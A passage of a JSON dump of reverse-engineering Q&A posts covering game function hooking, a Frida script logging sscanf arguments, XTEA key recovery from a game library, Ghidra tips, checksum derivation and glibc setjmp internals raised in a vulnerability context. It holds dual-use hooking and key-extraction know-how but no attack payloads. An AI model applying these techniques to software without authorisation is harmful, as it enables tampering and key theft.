        "Body": "<p>Will try to reword the actual question so it is hopefully more descriptive and clear of what I am after:</p>\n<p>So, there is a function main, which I have successfully hooked. The hooked version looks like this:</p>\n<pre><code>__int64 __fastcall gamemainHooked(gladius::Game* thisptr, int param_1, char** param_2, char** param_3)\n    {       \n\n        gladius::get().initialize(thisptr, param_1, param_2, param_3);\n\n        gladius::gui::get().guiRun(*(GUI**)(thisptr + 0x28));\n\n        gladius::get().quit(thisptr);\n\n        return gladius::get().gamemain(thisptr, param_1, param_2, param_3);\n    }\n</code></pre>\n<p>Now, see there is a Game* thisptr, which is passed in to that function.</p>\n<p>When the function is running it populates Game* thisptr instance with</p>\n<pre><code>thisptr-&gt;GameConstructor (0x0x00000271704c6ec0)\nthisptr-&gt;gamemain (0x00000271788a94f0)\nthisptr-&gt;initialize(0x000002716d523b90)\nthisptr-&gt;quit(0x000002716fdebdd0)\n</code></pre>\n<p>he original main function and the hooked one have a function called guiRun, which takes <strong>thisptr + 0x28</strong> offset and which from the code below is the 5th element of the constructor (Game).</p>\n<pre><code>Game * __thiscall gladius::Game::Game(Game *this)\n\n{\n  *(undefined8 *)this = 0;\n  *(undefined8 *)(this + 8) = 0;\n  *(undefined8 *)(this + 0x10) = 0;\n  *(undefined8 *)(this + 0x18) = 0;\n  *(undefined8 *)(this + 0x20) = 0;\n  *(undefined8 *)(this + 0x28) = 0;\n  *(undefined8 *)(this + 0x30) = 0;\n  *(undefined8 *)(this + 0x38) = 0;\n  *(undefined8 *)(this + 0x40) = 0;\n  *(undefined8 *)(this + 0x48) = 0;\n  *(undefined8 *)(this + 0x50) = 0;\n  return this;\n}\n</code></pre>\n<p>Now, what's the best way to reverse this, so that I can have a handle on that 5th element of the Game instance? How should the code look like so that calling guiRun with <strong>thisptr+0x28</strong> succeeds.</p>\n<p>Should I reverse constructor completely with all of the pointers inside and then point to it?</p>\n<p>The point is that calling <strong>guiRun (thisptr + 0x28)</strong> doesn't work as <strong>thisptr + 0x28</strong> is not pointing to 5th element of the Game* instance...</p>\n<p>The current reversed Game struct looks like this:</p>\n<pre><code> namespace gladius {\n        struct Game {\n            //virtual int __thiscall main(gladius::Game* thisptr, int param_1, char** param_2, char** param_3);\n    \n            using GameConstructor = Game * (__fastcall*) (Game* thisptr);\n            GameConstructor gameConstructor;\n    \n            using GameMain = __int64(__fastcall*) (gladius::Game* thisptr, int param_1, char** param_2, char** param_3);\n            GameMain gamemain;\n    \n            using Initialize = void(__fastcall*) (gladius::Game* thisptr, int a2, char** a3, char** a4);\n            Initialize initialize;\n    \n            using Quit = void(__fastcall*) (gladius::Game* thisptr);\n            Quit quit;\n        };\n    \n        Game&amp; get();\n    \n    } /\n</code></pre>\n<p>P.S.\nIt seems that guiRun wants to accept *<strong>thisptr</strong> and not <strong>thisptr</strong>. But this will mean that the original signature of the function has to be changed. Not sure if that will lead to the hook not working.</p>\n",
        "Title": "Using struct objects and constructors in hooked function",
        "Tags": "|c++|function-hooking|proxy|api-reversing|",
        "Answer": "<p>This is been resolved here: <a href=\"https://reverseengineering.stackexchange.com/questions/29541/how-to-declare-a-constructor-in-reversed-class\">Link</a></p>\n<p>So, the solution is to introduce the class structure functionally the same as the original one and then use the original constructor function to populate it.</p>\n<p>If the objects of the other classes, i.e. GUI object as a 5th element of the above structure needs to be initialised, then GUI object has to have a proper class constructor as described in the link.</p>\n<p>You might need a similar structure as described there to initialise any of the objects you want to populate.</p>\n"
    },
    {
        "Id": "29430",
        "CreationDate": "2021-10-18T21:12:35.947",
        "Body": "<pre><code>00001f10  2846       mov     r0, r5 \n00001f12  6349       ldr     r1, [pc, #0x18c]  {data_20a0} \n00001f14  7944       add     r1, pc  {data_ce5e, &quot;OK:%16[^:]:%16[^:]:%d:%d:%d:%d:%\u2026&quot;} \n00001f16  fff756ea   blx     #sscanf\n00001f1c  4dd1       b     #0x1fba\n</code></pre>\n<p>After disassembling a binary I found the above ARM instructions. As far as I know the <code>sscanf</code> function (at 0x1f16) reads from the buffer using the format obtained from address 0x1f14 and stores the values to addresses contained in other general purpose registers. I want to know the contents of the buffer and so I thought my option is to print the buffer string to a file while the binary is running. Maybe someone can help me achieve this.</p>\n",
        "Title": "Reading from buffer and printing output to a text file",
        "Tags": "|disassembly|arm|",
        "Answer": "<p>the buffer is at data_20a0 as comment next to instruction shows</p>\n<pre><code>&gt;&gt;&gt; hex(0x1f12+2+0x18c)----------'0x20a0'  \n</code></pre>\n<p>are you running it under a debugger if so set a conditional logging breakpoint to print and continue</p>\n<p>if you are not running it under debugger you may need to use some instrumentation framework</p>\n<p>shown below is a windows example see if you can adapt it to your needs</p>\n<pre><code>#include &lt;stdio.h&gt;\nint d[10] = {0};\nint main(int argc, char *argv[])\n{\n    if (argc == 2)\n    {\n        sscanf_s(argv[1], &quot;%d%d%d%d%d%d%d%d%d&quot;,\n                 &amp;d[0], &amp;d[1], &amp;d[2], &amp;d[3], &amp;d[4], &amp;d[5], &amp;d[6], &amp;d[7], &amp;d[8]);//checkpass(...);\n    }\n    return 0;\n}\n</code></pre>\n<p>on compiling and executing this source assume checkpass(..) does some magic with sscanf_s() result<br />\nyou need to know the contents of buffer , format string, and resulting output</p>\n<p>install frida ( pip install frida-tools on windows 10 x64)<br />\ncreate a javascript file as below<br />\n(since I have pdb (symbols) I can use the symbol name if you don't have the symbol use address<br />\nsince this is windows x64 the first 4 arguments are passed via registers rcx,rdx,r8,r9 (use appropriate registers/stack for your architecture)</p>\n<pre><code>var myfunc = DebugSymbol.fromName(&quot;sscanf_s&quot;);\nInterceptor.attach(\n    myfunc.address, {\n        onEnter(args) {\n            this.res = this.context.r8;//save the resultant array address touse onLeave()\n            console.log(&quot;entered &quot; + myfunc.name + &quot;\\n&quot;);\n            console.log(hexdump(this.context.rcx, { length: 0x30 }) + &quot;\\n&quot;);\n            console.log(hexdump(this.context.rdx, { length: 0x30 }) + &quot;\\n&quot;);\n            console.log(hexdump(this.context.r8, { length: 0x30 }) + &quot;\\n&quot;);\n            console.log(hexdump(this.context.r9, { length: 0x30 }) + &quot;\\n&quot;);\n        },\n        onLeave(args) {\n            console.log(hexdump(this.res,{length:0x30}))\n        }\n\n});\n</code></pre>\n<p>run the compiled binary under frida to log the arguments and return vales as below</p>\n<pre><code>frida --no-pause -l sscanf.js -f sscanf.exe &quot;1 25 39 401 598 6003 700054 800098 99999999&quot;\n     ____\n    / _  |   Frida 15.1.4 - A world-class dynamic instrumentation toolkit\n   | (_| |\n    &gt; _  |   Commands:\n   /_/ |_|       help      -&gt; Displays the help system\n   . . . .       object?   -&gt; Display information about 'object'\n   . . . .       exit/quit -&gt; Exit\n   . . . .\n   . . . .   More info at https://frida.re/docs/home/\nSpawned `sscanf.exe 1 25 39 401 598 6003 700054 800098 99999999`. Resuming main thread!\nentered sscanf_s\n\n              0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF\n2306e24efa3  31 20 32 35 20 33 39 20 34 30 31 20 35 39 38 20  1 25 39 401 598\n2306e24efb3  36 30 30 33 20 37 30 30 30 35 34 20 38 30 30 30  6003 700054 8000\n2306e24efc3  39 38 20 39 39 39 39 39 39 39 39 00 00 00 00 00  98 99999999.....\n\n               0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF\n7ff7f3e9f340  25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64  %d%d%d%d%d%d%d%d\n7ff7f3e9f350  25 64 00 00 00 00 00 00 c0 28 e4 f3 f7 7f 00 00  %d.......(......\n7ff7f3e9f360  78 f3 e9 f3 f7 7f 00 00 b8 f3 e9 f3 f7 7f 00 00  x...............\n\n               0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF\n7ff7f3eb1bd0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n7ff7f3eb1be0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n7ff7f3eb1bf0  00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00  ................\n\n               0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF\n7ff7f3eb1bd4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n7ff7f3eb1be4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n7ff7f3eb1bf4  00 00 00 00 02 00 00 00 00 00 00 00 02 00 00 00  ................\n\n               0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF\n7ff7f3eb1bd0  01 00 00 00 19 00 00 00 27 00 00 00 91 01 00 00  ........'.......\n7ff7f3eb1be0  56 02 00 00 73 17 00 00 96 ae 0a 00 62 35 0c 00  V...s.......b5..\n7ff7f3eb1bf0  ff e0 f5 05 00 00 00 00 02 00 00 00 00 00 00 00  ................\n[Local::sscanf.exe]-&gt; Process terminated\n[Local::sscanf.exe]-&gt;\n\nThank you for using Frida!\n</code></pre>\n<p>check the hexdump of this address 7ff7f3eb1bd0 (shown twice one onEnter() and one onLeave()</p>\n<p>you will notice the buffer is filled with the input onLeave();</p>\n"
    },
    {
        "Id": "29438",
        "CreationDate": "2021-10-21T03:31:10.893",
        "Body": "<p>I found an dynamic link library, which is available for download at the following link:\n[libgame.so] (<a href=\"https://easyupload.io/oh94nx\" rel=\"nofollow noreferrer\">https://easyupload.io/oh94nx</a>)</p>\n<p>I found the function responsible for decrypting xtea:\n(<a href=\"https://pastebin.com/PVS8YXyV\" rel=\"nofollow noreferrer\">https://pastebin.com/PVS8YXyV</a>)</p>\n<p>I found the function responsible for the encryption of xtea:(<a href=\"https://pastebin.com/jgreUAkj\" rel=\"nofollow noreferrer\">https://pastebin.com/jgreUAkj</a>)</p>\n<p>i would like to find try to find the key to xtea, can someone recommend a tool to me or have you already had experience with xtea and can help me find the xtea key?</p>\n<p>i have tried and cannot get a valid signature for lua xtea implementation.</p>\n",
        "Title": "How to found signature XTEA for Lua",
        "Tags": "|decryption|cryptography|lua|",
        "Answer": "<p>You can try using the plugin:</p>\n<ul>\n<li><a href=\"https://hex-rays.com/blog/findcrypt/\" rel=\"nofollow noreferrer\">FindCrypt</a>\nAvailable for free on the Hex-Rays website, there is also an implementation that uses yara</li>\n<li><a href=\"https://github.com/polymorf/findcrypt-yara\" rel=\"nofollow noreferrer\">findcrypt-yara</a></li>\n</ul>\n<p>I have tested both and they do the job very well, with them it is possible to find possible encryption key in addition to the most common cryptographic patterns used by developers, assuming that the key may be in the dynamic link library, consider also doing an analysis in the main software that calls, and in the last case try:</p>\n<ul>\n<li>Hooking this xtea function and intercepting the parameters of its call will make it easy to find the key.</li>\n</ul>\n<p>I recommend you try <a href=\"https://github.com/Zeex/subhook\" rel=\"nofollow noreferrer\">SubHook</a> for this task, maybe if you provide the architecture I can specifically help hook it.</p>\n"
    },
    {
        "Id": "29439",
        "CreationDate": "2021-10-21T14:45:43.167",
        "Body": "<p>I'm disassembling one SO library for fun and was wondering what's purpose of following procedure:</p>\n<pre><code>sub_3699 proc near\nmov     ebx, [esp+0]\nretn\nsub_3699 endp\n</code></pre>\n<p>It's widely used across entire library with very confusing pattern (at least to me) like this:</p>\n<pre><code>push    ebp\nmov     ebp, esp\npush    esi\npush    ebx\ncall    sub_3699        ; Here it is called\nadd     ebx, 1DD5Ch     ; And this magic number is something I'm trying to understand\n...                     ; rest of caller body\npop     ebx\npop     esi\npop     ebp\nretn\n</code></pre>\n<p>Please note magic number <code>1DD5Ch</code> added to <code>EBX</code> after procedure invocation. It seems that this number is unique across all invocations, but I have no idea of its purpose. Even <code>EBX</code> register itself doesn't seem to be read/write within caller code.</p>\n<p>Any idea?</p>\n<p>If that matters, here is output of <code>readelf -s ...</code></p>\n<pre><code>ELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              DYN (Shared object file)\n  Machine:                           Intel 80386\n  Version:                           0x1\n  Entry point address:               0x14340\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          275660 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         5\n  Size of section headers:           40 (bytes)\n  Number of section headers:         25\n  Section header string table index: 24\n\nSection Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .hash             HASH            000000d4 0000d4 00221c 04   A  2   0  4\n  [ 2] .dynsym           DYNSYM          000022f0 0022f0 0047e0 10   A  3   1  4\n  [ 3] .dynstr           STRTAB          00006ad0 006ad0 00825f 00   A  0   0  1\n  [ 4] .gnu.version      VERSYM          0000ed30 00ed30 0008fc 02   A  2   0  2\n  [ 5] .gnu.version_r    VERNEED         0000f62c 00f62c 000020 00   A  3   1  4\n  [ 6] .rel.dyn          REL             0000f64c 00f64c 000eb8 08   A  2   0  4\n  [ 7] .rel.plt          REL             00010504 010504 0014b0 08   A  2   9  4\n  [ 8] .init             PROGBITS        000119b4 0119b4 00001c 00  AX  0   0  1\n  [ 9] .plt              PROGBITS        000119d0 0119d0 002970 04  AX  0   0 16\n  [10] .text             PROGBITS        00014340 014340 02b324 00  AX  0   0  4\n  [11] .fini             PROGBITS        0003f664 03f664 000017 00  AX  0   0  1\n  [12] .rodata           PROGBITS        0003f680 03f680 001fa0 00   A  0   0  8\n  [13] .eh_frame_hdr     PROGBITS        00041620 041620 00002c 00   A  0   0  4\n  [14] .eh_frame         PROGBITS        0004164c 04164c 0000f8 00   A  0   0  4\n  [15] .ctors            PROGBITS        00042000 042000 000018 00  WA  0   0  4\n  [16] .dtors            PROGBITS        00042018 042018 000018 00  WA  0   0  4\n  [17] .jcr              PROGBITS        00042030 042030 000004 00  WA  0   0  4\n  [18] .data.rel.ro      PROGBITS        00042038 042038 0006d8 00  WA  0   0  8\n  [19] .dynamic          DYNAMIC         00042710 042710 0000d0 08  WA  3   0  4\n  [20] .got              PROGBITS        000427e0 0427e0 0001b4 04  WA  0   0  4\n  [21] .got.plt          PROGBITS        00042994 042994 000a64 04  WA  0   0  4\n  [22] .data             PROGBITS        000433f8 0433f8 000010 00  WA  0   0  4\n  [23] .bss              NOBITS          00043408 043408 000bb0 00  WA  0   0  8\n  [24] .shstrtab         STRTAB          00000000 043408 0000c3 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),\n  L (link order), O (extra OS processing required), G (group), T (TLS),\n  C (compressed), x (unknown), o (OS specific), E (exclude),\n  p (processor specific)\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  LOAD           0x000000 0x00000000 0x00000000 0x41744 0x41744 R E 0x1000\n  LOAD           0x042000 0x00042000 0x00042000 0x01408 0x01fb8 RW  0x1000\n  DYNAMIC        0x042710 0x00042710 0x00042710 0x000d0 0x000d0 RW  0x4\n  GNU_EH_FRAME   0x041620 0x00041620 0x00041620 0x0002c 0x0002c R   0x4\n  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4\n\n Section to Segment mapping:\n  Segment Sections...\n   00     .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame \n   01     .ctors .dtors .jcr .data.rel.ro .dynamic .got .got.plt .data .bss \n   02     .dynamic \n   03     .eh_frame_hdr \n   04     \n</code></pre>\n",
        "Title": "What's purpose of mov ebx, [esp+0]?",
        "Tags": "|disassembly|x86|",
        "Answer": "<p>The purpose of <code>sub_3699</code> is to return address of the next instruction after the one that called that procedure. <code>call sub_3699</code> pushes address of the next instruction onto the stack and jumps to the first instruction of <code>sub_3699</code>.</p>\n<p>That instruction takes the value at the top of the stack (without removing it) and writes it to <code>ebx</code>. Such a mechanism is usually used when <em>position independent code</em> is generated to avoid accessing data using harcoded addresses (though combination of <code>call $+5, pop reg</code> is more popular).</p>\n<p>So instead of accessing some <code>addr</code> directly, you compute it relatively to the address of the next instruction. So, you first compute <code>addr - address_of_next_instruction = addr - sub_3699() = 0x1DD5C</code> (in your case) and to obtain <code>addr</code> you have to simply add <code>sub_3699()</code> to that number. After this addition, <code>ebx</code> contains <code>addr</code>.</p>\n"
    },
    {
        "Id": "29453",
        "CreationDate": "2021-10-25T10:13:20.793",
        "Body": "<p>In this decompiled code, does <code>psVar8[-6]</code> refer to <code>6*sizeof(psVar8) == 12</code> bytes before <code>psVar8</code>?</p>\n<pre><code>psVar8 = (short *)(&amp;DAT_1412345b4 + named_index * 0x20);\ndo {\n  if (psVar8[-6] == 0) break;\n  // ...\n} while (lVar10 &lt; 6);\n</code></pre>\n<p>It would seem more intuitive to me if the position of <code>psVar8</code> was earlier to avoid the negative index. Is there a way to change this in the decompiled code, or a reason not to?</p>\n<p>I'm attaching the entire loop in case that is important to the question:</p>\n<pre><code>    do {\n      if (psVar8[-6] == 0) break;\n      if (psVar8[-6] == 4) {\n        named_variable = 0;\n        if (0 &lt; *psVar8) {\n          named_variable = (int)*psVar8;\n        }\n        iVar4 = 0x1d;\n        if (named_variable &lt; 0x1d) {\n          iVar4 = named_variable;\n        }\n        *(undefined2 *)(&amp;DAT_145678900 + (longlong)iVar4 * 2) = 1;\n      }\n      lVar10 += 1;\n      psVar8 = psVar8 + 1;\n    } while (lVar10 &lt; 6);\n</code></pre>\n",
        "Title": "Does psVar[-6] refer to 6*sizeof(psVar) bytes before psVar? Can you avoid the negative index?",
        "Tags": "|c|ghidra|pointer|",
        "Answer": "<p>I think you are running into a case of &quot;shifted pointers&quot;. For various reasons the compiler might generate code where a pointer to the middle of a struct is returned. There is a <a href=\"https://github.com/NationalSecurityAgency/ghidra/pull/2189\" rel=\"nofollow noreferrer\">Ghidra PR</a> for this, but this isn't merged yet and still has various issues, IDA discusses this feature <a href=\"https://hex-rays.com/products/ida/support/idadoc/1695.shtml\" rel=\"nofollow noreferrer\">here</a></p>\n"
    },
    {
        "Id": "29454",
        "CreationDate": "2021-10-25T11:20:58.063",
        "Body": "<p>In a line like this:</p>\n<pre><code>if ((my_variable &amp; 0x80000000) == 0) {\n</code></pre>\n<p>Is there a way to label <code>0x80000000</code> as e.g. <code>FLAG_HAS_PROPERTY_GREEN</code>, or would I have to rely on comments for that?</p>\n",
        "Title": "Is there a way to name a flag for a bit field in Ghidra?",
        "Tags": "|c|ghidra|",
        "Answer": "<p>select SCALAR in decompiler window<br />\nright click -&gt;Set Equate (&quot;E&quot; short cut)\ntype or select if available</p>\n<p>a sample EQUATE as below</p>\n<pre><code>uVar6 = *(ushort *)param_2 &amp; THIS_IS_MY_BAD;\n</code></pre>\n"
    },
    {
        "Id": "29461",
        "CreationDate": "2021-10-26T15:25:10.370",
        "Body": "<p>While reverse engineering a database middleware. This is presumably encoding a list of double or float values with Base64 encoding and then compressing it.</p>\n<p>Via <code>zlib.decompress()</code> I was able to decompress it, but I got a string of presumably multiple base64-strings. I can see that it consists of more than one, because it contains multiple <code>=</code>. But afaik, these do not always mark the end of a b64-encoded string, because one can also end without a <code>=</code>.</p>\n<p>This is a excerpt of one field:</p>\n<pre><code>b'&lt;\\x12u&lt;\\xf4\\x808=\\x95\\xf0U=\\x9fse;\\xef\\xbe\\xf2=A\\xd1K=\\x1fB\\x99=\\x95\\x11\\xa3=\\xb8\\xcd\\xbd&lt;\\xd2\\xfaL=\\x1d\\x80U=\\xd6:\\x1e=\\xdcp\\xcd=1\\xd2\\xe1=\\t\\x01\\x8e&lt;\\x85\\xa8\\x16&gt;8\\xb4\\xa7&gt;2\\xf4\\x11=&gt;\\x03\\x9b&lt;\\xdfA\\x9b&gt;%&gt;a&gt;\\xcf\\x9a\\x05&gt;Ie\\x1c&gt;\\t@Y&lt;\\xdfC\\xe2=\\xf8\\'\\xb0=zpa=\\x8e\\xe8\\xde&lt;\\xc8\\xcby=\\x88\\xfe\\xb6=\\xb8Uv=\\xd5\\xe3\\xee=q\\xef|&lt;B\\xe1\\x1f=%\\xfe\\x85=\\x90_\\x04=p\\x9e\\xbd=\\x89og=\\x96\\x88\\x87&lt;\\xa2\\x9c\\x84=\\x969\\xaf=\\xab\\x84^&lt;\\xef\\x81\\xf6&lt;T\\x7f\\xf4&lt;\\x85\\xd6\\x86&lt;\\x80Q\\x93&lt;\\xb4\\xf9\\x00&lt;\\xfc&amp;s&lt;\\xb9q\\x1b&lt;\\xd3\\xd8\\xa0&lt;4\\xe9\\xc3=\\x86a\\xb4=\\xd5s_=\\xc8\\xb1==\\xc24\\xca=~\\xd3\\xe8=^7\\xa5=e\\xa3-=\\x07?4&lt;\\xd5HJ=='\n</code></pre>\n<p>As an amateur on this field, I am very unsure where to start.\nFrom the documentation I know, that it's a b64-encoded list, but I don't know how to use it. Obviously, when decoded, it will consist of a binary format that in some computer language represents a list of floats.</p>\n<p>Any tips on how to continue working on this problem?\nUnfortunately I have no access to the software currently, the only thing I have is this data structure.</p>\n<p>Sorry for my amateur questions, and thanks in advance for any tips!</p>\n",
        "Title": "Unknown binary format of a b64-encoded list of doubles",
        "Tags": "|decompress|encodings|unknown-data|",
        "Answer": "<p>The data you have here is not base64 encoded, as that would only have letters, numbers, <code>+</code>, <code>/</code>, and (as you mentioned) <code>=</code>. The <code>\\x</code> escape code in the string indicates bytes that are non-printable or outside the ASCII range.</p>\n<p>The regular pattern of <code>=</code> or near-<code>=</code> values (<code>;</code>, <code>&lt;</code>, <code>=</code>, <code>&gt;</code>) every four bytes suggests that this is a simple array of 4-byte little-endian fields with values relatively close to each other. Here is what it looks like as a 4-byte (single precision) float array.</p>\n<pre><code>&gt;&gt;&gt; data = b'&lt;\\x12u&lt;\\xf4\\x808=\\x95\\xf0U=\\x9fse;\\xef\\xbe\\xf2=A\\xd1K=...'\n&gt;&gt;&gt; struct.unpack_from('&lt;{}f'.format(str(len(data)//4)), data)\n(0.014957960695028305, 0.045044854283332825, 0.05223139002919197, 0.003501154249534011, 0.11852823942899704, 0.049760106950998306, 0.07483314722776413, 0.07962337881326675, 0.0231693834066391, 0.05004388839006424, [...])\n</code></pre>\n<p>Does this look like the range of values you are expecting?</p>\n"
    },
    {
        "Id": "29475",
        "CreationDate": "2021-10-29T15:30:52.717",
        "Body": "<p>I have a remote for a LED panel which sends following 4 bytes data and last byte some sort of CRC/counter byte. I already know that the first 2 bytes are remote-id, the third byte is panel-id and the fourth byte is command-id. The last byte is somehow calculated in correlation with the first 4 bytes and does not change on repetitive button-press.</p>\n<p>I already tried to use <code>reveng -w 8 -s [some samples]</code> to find the algorithm, but without success.</p>\n<p>Maybe someone can help to find the correct way to calculate the last byte of these payload-bytes, and maybe even explain how it was discovered:</p>\n<pre><code>FFCC0000CB\nFFCC0001CA\nFFCC0002C9\nFFCC0003C8\nFFCC0004CF\nFFCC0005CE\nFFCC0006CD\nFFCC0007CC\nFFCC0008C3\nFFCC0009C2\nFFCC000AC1\nFFCC000BC0\nFFCC000CC7\nFFCC000DC6\nFFCC000EC5\nFFCC000FC4\nFFCC0010DB\nFFCC0011DA\nFFCC0012D9\nFFCC0013D8\nE8D6630021\nE8D6630120\nE8D6630223\nE8D6630322\nE8D6630425\nE8D6630524\nE8D6630627\nE8D6630726\nE8D6630829\nE8D6630928\nE8D6630A2B\nE8D6630B2A\nE8D6630C2D\nE8D6630D2C\nE8D6630E2F\nE8D6630F2E\nE8D6631031\nE8D6631130\nE8D6631233\nE8D6631332\nFFCC0300CE\nFFCC0301CF\nFFCC0302CC\nFFCC0303CD\nFFCC0304CA\nFFCC0305CB\nFFCC0306C8\nFFCC0307C9\nFFCC0308C6\nFFCC0309C7\nFFCC030AC4\nFFCC030BC5\nFFCC030CC2\nFFCC030DC3\nFFCC030EC0\nFFCC030FC1\nFFCC0310DE\nFFCC0311DF\nFFCC0312DC\nFFCC0313DD\n</code></pre>\n",
        "Title": "Finding the hash algorithm for these payload-crc pairs",
        "Tags": "|crc|",
        "Answer": "<p>Based on the data provided, it appears to be a very simple check with the 5th byte being the sum of the first 3 bytes exclusive-or'd with the 4th byte.</p>\n<pre><code>// input bytes\nbyte b[4];\n\n// check byte\nbyte c = ( b[0] + b[1] + b[2] ) ^ b[3];\n</code></pre>\n<hr />\n<p>To add how I worked it out -</p>\n<p>Firstly, I observed that change of a single bit in the 4th byte flipped the same bit in the check byte. This is clear exclusive-or behaviour. The results of Xor-ing the 4th bytes with the check bytes did not then depend on the 4th bytes. This proved this was how the 4th bytes were incorporated.</p>\n<p>At this point I thought it would be difficult as, once you exclude the 4th byte, you've only provided 3 distinct examples of the first 3 bytes.</p>\n<p>However, in your first example it stood out that <code>FF</code> + <code>CC</code> = <code>CB</code>.</p>\n<p>I then tried the sum of the first 3 bytes with your 2nd group of examples and, luckily, it worked too.\n<code>E8</code>+<code>D6</code>+<code>63</code> = <code>21</code></p>\n<p>A quick check on the remaining examples showed this worked for them too.</p>\n"
    },
    {
        "Id": "29485",
        "CreationDate": "2021-10-31T21:41:01.410",
        "Body": "<p><code>gdb-peda</code> shows a very useful context each time it stops (<code>b</code>, <code>si</code>, etc.), but sometimes I don't want it.  Is there any way to quiet it so it won't show the context automatically (unless prompted <code>context</code>)?</p>\n<p>--</p>\n<h1>UPDATE</h1>\n<p>Since there's no out of the box answer, I'll take, for the bounty, a custom or roll-your-own solution (e.g. a script or special command).</p>\n",
        "Title": "PEDA: Don't show context",
        "Tags": "|debugging|gdb|python|dynamic-analysis|",
        "Answer": "<p>Browsing through peda's source, it seems to use a gdb hook-stop, which can be modified back and forth:</p>\n<pre><code>gdb-peda$ show user hook-stop\nUser command &quot;hook-stop&quot;:\n  peda context\n  session autosave\n\ngdb-peda$ define hook-stop\nType commands for definition of &quot;hook-stop&quot;.\nEnd with a line saying just &quot;end&quot;.\n&gt;session autosave\n&gt;end\ngdb-peda$ n\n18        printf(&quot;...&quot;);\ngdb-peda$ define hook-stop\nType commands for definition of &quot;hook-stop&quot;.\nEnd with a line saying just &quot;end&quot;.\n&gt;peda context\n&gt;session autosave\n&gt;end\ngdb-peda$ n\n[---registers---]\nEAX: 0x0\nEBX: 0x56557000 --&gt; 0x1ef8\n</code></pre>\n<p>Relevant source is at <a href=\"https://github.com/longld/peda/blob/84d38bda505941ba823db7f6c1bcca1e485a2d43/peda.py#L6120\" rel=\"nofollow noreferrer\">https://github.com/longld/peda/blob/84d38bda505941ba823db7f6c1bcca1e485a2d43/peda.py#L6120</a> and <a href=\"https://github.com/longld/peda/blob/84d38bda505941ba823db7f6c1bcca1e485a2d43/peda.py#L230\" rel=\"nofollow noreferrer\">https://github.com/longld/peda/blob/84d38bda505941ba823db7f6c1bcca1e485a2d43/peda.py#L230</a> .</p>\n<p>I'd imagine there's a way to extend peda, so that the <code>peda</code> object's methods can be called, but I can't figure that out.  In the absence of that, we can invoke those commands manually.  Note that gdb doesn't seem to allow nested <code>define</code>s, so we can't script the (re)<code>define</code>s themselves.</p>\n"
    },
    {
        "Id": "29486",
        "CreationDate": "2021-10-31T22:22:18.817",
        "Body": "<p>I'm trying to reverse engineer the GNU libc x86 (32 bit) setjmp / longjmp (re a vuln which may allow arbitrary overwrite of the <code>jmp_buf env</code>.</p>\n<p>There's a <a href=\"https://offlinemark.com/2016/02/09/lets-understand-setjmp-longjmp/\" rel=\"nofollow noreferrer\">great writeup of the musl setjmp</a> but I can find almost nothing online about the GNU. I've tried to navigate the source, but it's a spaghetti ball of macros, probably due to being so sys dependent. The asm is unusual, using things like:</p>\n<pre><code>CALL       dword ptr GS :[0x10 ]\n</code></pre>\n<p>which I don't fully understand (I thought segments were for 16 bit 8088 code! What is the <code>GS:</code>?).</p>\n<p>A priori, I would expect that setjmp would simply save a few registers, but it seems much more complicated.  I've found posts claiming GNU intentionally obfuscates it, either to prevent programmers from relying on internals, or for some security purpose, both of which I'm skeptical of.</p>\n<p>Experimenting with a debugger has shown one thing: the <code>jmp_buf env</code> changes with each invocation, such as that even the same program, with the same params, and the same stack pointers, if you're using a debugger to load the <code>jmp_buf</code> from one invocation into another you get a SIGV.  The contents are clearly not a pure function of the program and stack, but somehow change (randomly?) with each invocation.</p>\n<p>Are any of the crack REs here able to penetrate <code>setjmp</code>?</p>\n",
        "Title": "How to reverse engineer a setjmp/longjmp sequence?",
        "Tags": "|disassembly|assembly|x86|memory|operating-systems|",
        "Answer": "<p>I'll start with answering a few basic questions, some of which you didn't even ask!</p>\n<h5>What are segment registers doing in modern code?</h5>\n<p>It's been a while since we've needed extra registers to address a memory region. 32, and especially 64, bits are more than enough. OS developers took advantage of those unused registers and nowadays most modern OSes use at least some of the registers to hold OS related data. As mentioned in the comments, on amd64 processors segment registers cannot be used for segmentation but OSes have been doing it on 32 bit processors as well.</p>\n<p>You can read more about it <a href=\"https://reverseengineering.stackexchange.com/questions/2006/how-are-the-segment-registers-fs-gs-cs-ss-ds-es-used-in-linux\">here</a> regarding linux, <a href=\"https://reverseengineering.stackexchange.com/questions/16336/where-es-gs-fs-are-pointing-to\">here</a> and <a href=\"https://en.wikipedia.org/wiki/Win32_Thread_Information_Block\" rel=\"nofollow noreferrer\">here</a> regarding windows, etcetera.</p>\n<h5>Why can't I restore data from a previous execution of a program</h5>\n<p>Although you may control some variables of a program's execution (parameters, stack addresses, process loading addresses and heap location) you're still not controlling all variables (locations of specifica allocations, values returned from &quot;external&quot; sources such as the kernel and as we'll see soon, anti-exploitation mitigations might interfere with that sort of thing too).</p>\n<p>Generally, you should never expect such a thing to work without taking the necessary adjustments. Let alone in something as low-level and nuanced as setjmp/longjmp.</p>\n<h5>Why isn't the setjmp/longjmp implementation 